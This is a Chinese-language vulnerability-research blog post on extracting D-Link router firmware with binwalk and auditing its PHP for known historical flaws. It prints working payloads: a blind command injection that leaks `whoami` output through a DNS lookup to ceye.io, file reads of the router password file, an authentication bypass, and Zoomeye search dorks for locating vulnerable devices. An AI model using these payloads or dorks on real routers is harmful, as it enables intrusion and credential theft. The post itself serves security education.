作者:Sebao@知道創宇404實驗室
前言
前幾天去上海參加了geekpwn,看著大神們一個個破解成功各種硬件,我只能在下面喊 6666,特別羨慕那些大神們。所以回來就決定好好研究一下路由器,爭取跟上大神們的步伐。看網上公開的D-Link系列的漏洞也不少,那就從D-Link路由器漏洞開始學習。
準備工作
既然要挖路由器漏洞,首先要搞到路由器的固件。 D-Link路由器固件下載地址:
ftp://ftp2.dlink.com/PRODUCTS/
下載完固件發現是個壓縮包,解壓之后里面還是有一個bin文件。聽說用binwalk就可以解壓。kali-linux自帶binwalk,但是缺少一些依賴,所以還是編譯安裝了一下。
$ sudo apt-get update
$ sudo apt-get install build-essential autoconf git
# https://github.com/devttys0/binwalk/blob/master/INSTALL.md
$ git clone https://github.com/devttys0/binwalk.git
$ cd binwalk
# python2.7安裝
$ sudo python setup.py install
# python2.7手動安裝依賴庫
$ sudo apt-get install python-lzma
$ sudo apt-get install python-crypto
$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
$ sudo pip install pyqtgraph
$ sudo apt-get install python-pip
$ sudo pip install capstone
# Install standard extraction utilities(必選)
$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
# Install sasquatch to extract non-standard SquashFS images(必選)
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && ./build.sh)
# Install jefferson to extract JFFS2 file systems(可選)
$ sudo pip install cstruct
$ git clone https://github.com/sviehb/jefferson
$ (cd jefferson && sudo python setup.py install)
# Install ubi_reader to extract UBIFS file systems(可選)
$ sudo apt-get install liblzo2-dev python-lzo
$ git clone https://github.com/jrspruitt/ubi_reader
$ (cd ubi_reader && sudo python setup.py install)
# Install yaffshiv to extract YAFFS file systems(可選)
$ git clone https://github.com/devttys0/yaffshiv
$ (cd yaffshiv && sudo python setup.py install)
# Install unstuff (closed source) to extract StuffIt archive files(可選)
$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
$ sudo cp bin/unstuff /usr/local/bin/
按照上面的命令就可以完整的安裝binwalk了,這樣就可以解開市面上的大部分固件包。
然后用 binwalk -Me 固件包名稱 解固件,然后我們會得到以下劃線開頭的名稱的文件夾,文件夾里squashfs-root文件夾,就是路由器的完整固件包。
漏洞挖掘
此文章針對歷史路由器的web漏洞進行分析,路由器的web文件夾 一般就在suashfs-root/www或者
suashfs-root/htdocs文件夾里。路由器固件所使用的語言一般為 asp,php,cgi,lua 等語言。這里主要進行php的代碼審計來挖掘漏洞。
D-Link DIR-645 & DIR-815 命令執行漏洞
Zoomeye dork: DIR-815 or DIR-645
這里以 D-Link DIR-645固件為例,解開固件進入 suashfs-root/htdocs 文件夾。
這個漏洞出現在 diagnostic.php文件。直接看代碼
HTTP/1.1 200 OK
Content-Type: text/xml
<?
if ($_POST["act"] == "ping")
{
set("/runtime/diagnostic/ping", $_POST["dst"]);
$result = "OK";
}
else if ($_POST["act"] == "pingreport")
{
$result = get("x", "/runtime/diagnostic/ping");
}
echo '<?xml version="1.0"?>\n';
?><diagnostic>
<report><?=$result?></report>
</diagnostic>
分析代碼可以看到,這里沒有進行權限認證,所以可以直接繞過登錄。繼續往下看,set("/runtime/diagnostic/ping", $_POST["dst"]); 這段代碼就是造成漏洞的關鍵代碼。參數dst 沒有任何過濾直接進入到了 ping的命令執行里,導致任意命令執行漏洞。繼續往下看 $result = "OK";無論是否執行成功,這里都會顯示OK。所以這是一個盲注的命令執行。以此構造payload
url = 'localhost/diagnostic.php'
data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"
因為是盲注的命令執行,所以這里需要借助一個盲打平臺(如:ceye),來驗證漏洞是否存在。
D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞
Zoomeye dork:DIR-300 or DIR-600
這里以 D-Link DIR-300固件為例,解開固件進入 suashfs-root/www 文件夾。
漏洞出現在/model/__show_info.php文件。
<?
if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd")
{
echo "<title>404 Not Found</title>\n";
echo "<h1>404 Not Found</h1>\n";
}
else
{
if($REQUIRE_FILE!="")
{
require($LOCALE_PATH."/".$REQUIRE_FILE);
}
else
{
echo $m_context;
echo $m_context2;//jana added
if($m_context_next!="")
{
echo $m_context_next;
}
echo "<br><br><br>\n";
if($USE_BUTTON=="1")
{echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; }
}
}
?>
這里看到已經禁止了$REQUIRE_FILE的參數為var/etc/httpasswd和var/etc/hnapasswd。這么一看無法獲取賬號密碼。但是我們可以從根路徑開始配置httpasswd的路徑,就可以繞過這個過濾了。
payload:
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
這里設置REQUIRE_FILE=/var/etc/httpasswd 成功繞過上面的 if判斷,進行任意文件讀取。
D-Link DIR-300 & DIR-320 & DIR-615 權限繞過漏洞
Zoomeye dork:DIR-300 or DIR-615
這里以 D-Link DIR-300固件為例,解開固件進入 suashfs-root/www 文件夾
默認情況下,Web界面中的所有頁面都需要進行身份驗證,但是某些頁面(如 登錄頁面) 必須在認證之前訪問。 為了讓這些頁面不進行認證,他們設置了一個PHP變量NO_NEED_AUTH:
<?
$MY_NAME ="login_fail";
$MY_MSG_FILE=$MY_NAME.".php";
$NO_NEED_AUTH="1";
$NO_SESSION_TIMEOUT="1";
require("/www/model/__html_head.php");
?>
此漏洞觸發的原因在于 全局文件 _html_head.php。
<?
/* vi: set sw=4 ts=4: */
if ($NO_NEED_AUTH!="1")
{
/* for POP up login. */
// require("/www/auth/__authenticate_p.php");
// if ($AUTH_RESULT=="401") {exit;}
/* for WEB based login */
require("/www/auth/__authenticate_s.php");
if($AUTH_RESULT=="401") {require("/www/login.php"); exit;}
if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;}
if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;}
$AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");
}
require("/www/model/__lang_msg.php");
?>
這里我們看到 $NO_NEED_AUTH!="1" 如果 $NO_NEED_AUTH 不為 1 則進入身份認證。如果我們把$NO_NEED_AUTH值 設置為 1 那就繞過了認證進行任意操作。
payload:
localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
這里AUTH_GROUP=0 表示admin權限

D-Link DIR-645 信息泄露漏洞
Zoomeye dork:DIR-645
這里以 D-Link DIR-300固件為例,解開固件進入 suashfs-root/htdocs 文件夾
D-Link DIR-645 getcfg.php 文件由于過濾不嚴格導致信息泄露漏洞。
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
這里我們可以看到 $GETCFG_SVC 沒有任何過濾直接獲取了 POST 傳遞過來的SERVICES的值。如果$GETCFG_SVC不為空,則進行文件讀取。這里我們就可以讀取存儲此設備信息的DEVICE.ACCOUNT.xml.php文件。
payload:
http://localhost/getcfg.php
post:SERVICES=DEVICE.ACCOUNT

總結
可以發現此篇文章所提及的漏洞都是web領域的常見漏洞,如權限繞過,信息泄露,命令執行等漏洞。由于路由器的安全沒有得到足夠的重視,此文涉及到的漏洞都是因為對參數過濾不嚴格所導致的。 路由器的漏洞影響還是很廣泛的,在此提醒用戶,及時更新路由器固件,以此避免各種入侵事件,以及個人信息的泄露。
參考鏈接
- http://www.s3cur1ty.de/m1adv2013-017
- http://seclists.org/bugtraq/2013/Dec/11
- http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf
- https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/429/
暫無評論